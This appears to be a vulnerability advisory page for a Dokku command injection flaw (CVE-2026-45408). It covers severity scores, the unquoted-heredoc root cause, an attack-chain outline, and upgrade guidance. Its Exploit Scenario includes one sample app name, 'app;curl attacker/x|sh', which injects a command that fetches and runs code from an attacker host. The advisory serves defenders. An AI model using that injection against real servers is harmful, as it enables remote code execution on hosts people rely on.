What is the CVSS score of EUVD-2026-39801?

EUVD-2026-39801 has a CVSS 3.1 base score of 9.0 (Critical). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H. EPSS exploitation probability: 0.2%.

Which versions of Dokku are affected by EUVD-2026-39801?

Dokku self-hosted PaaS deployments prior to version 0.38.2 are vulnerable to OS command injection through malicious git commits, allowing authenticated users to execute arbitrary commands with…. A patch is available.

How to fix or mitigate EUVD-2026-39801?

Within 24 hours: Identify all Dokku instances in production and development; restrict git push access to essential trusted personnel only. Within 7 days: Upgrade all Dokku instances to version 0.38.2 or later; perform functional testing of pre-receive hooks post-upgrade. Within 30 days: Review 90-day git push logs for suspicious app names containing shell metacharacters (semicolons, pipes, backticks, dollar signs); conduct image integrity audit on affected container registries.

Dokku EUVD-2026-39801

| CVE-2026-45408 CRITICAL

OS Command Injection (CWE-78)

2026-06-26 GitHub_M

Command Injection Docker Dokku

9.0

CVSS 3.1 · Vendor: GitHub_M

Severity by source

Vendor (GitHub_M) PRIMARY

9.0 CRITICAL

AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

vuln.today AI

9.9 CRITICAL

Authenticated push user is required (PR:L), attacker self-triggers so UI:N, scope changes (S:C) as code runs as the privileged dokku user with full RCE impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Attack Vector

Network

Attack Complexity

Low

Privileges Required

Low

User Interaction

Required

Scope

Changed

Confidentiality

High

Integrity

High

Availability

High

Lifecycle Timeline

Patch available

Jun 26, 2026 - 18:02 EUVD

Source Code Evidence Fetched

Jun 26, 2026 - 17:24 vuln.today

Analysis Generated

Jun 26, 2026 - 17:24 vuln.today

CVE Published

Jun 26, 2026 - 16:19 cve.org

CRITICAL 9.0

DescriptionCVE.org

Dokku is a docker-powered PaaS. Prior to 0.38.2, the app name validation regex (^[a-z0-9][^/:_A-Z]*$) permits shell metacharacters. When an authenticated user pushes to a git remote with a crafted app name, the name is embedded unquoted into a bash pre-receive hook script via an unquoted heredoc (<<EOF instead of <<'EOF') in fn-git-create-hook() at plugins/git/internal-functions:378. On git push, bash interprets the semicolon as a command separator, executing arbitrary commands as the dokku user. This vulnerability is fixed in 0.38.2.

Articles & Coverage 1

News Critical OS Command Injection in Dokku Docker PaaS - CVE-2026-45408 Jun 27, 2026

AnalysisAI

OS command injection in Dokku (the Docker-powered self-hosted PaaS) prior to version 0.38.2 allows an authenticated user with git push access to execute arbitrary shell commands as the privileged dokku user. The flaw stems from a permissive app-name validation regex that accepts shell metacharacters, which are then interpolated unquoted into a generated bash pre-receive hook; a semicolon in the app name terminates the intended command and runs attacker-supplied commands on git push. …

Unlock full vulnerability intelligence

Risk assessment & exploitation conditions
Attack chain visualization
Remediation with exact patch versions
Threat intelligence from 22 sources
Personal watchlist & email alerts

Continue with Google Continue with GitHub

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access

Authenticate with Dokku push access

Delivery

Create app name embedding shell metacharacters

Exploit

Push to git remote

Execution

Dokku writes name into unquoted pre-receive heredoc

Persist

Bash parses semicolon as command separator

Impact

Execute arbitrary commands as dokku user

Access

Authenticate with Dokku push access

Delivery

Create app name embedding shell metacharacters

Exploit

Push to git remote

Execution

Dokku writes name into unquoted pre-receive heredoc

Persist

Bash parses semicolon as command separator

Impact

Execute arbitrary commands as dokku user

Vulnerability AssessmentAI

Exploitation	Exploitation requires an authenticated account with permission to push to a Dokku git remote and influence the app name used for hook generation (per CVSS PR:L). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment	The provided CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H, base 9.0) reflects a serious issue: network-reachable, low complexity, full confidentiality/integrity/availability impact, and a scope change because code runs as the dokku user rather than within the pushing user's app boundary. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario	An authenticated tenant on a shared Dokku host creates or pushes to an app whose name contains a shell metacharacter, e.g. a name like 'app;curl attacker/x\|sh'. …
Remediation	Vendor-released patch: 0.38.2 - upgrade Dokku to 0.38.2 or later, which replaces the negated-character-class regex with strict allow-list app-name validation and routes shell-layer checks through the hardened Go validator. … Detailed patch versions, workarounds, and compensating controls in full report.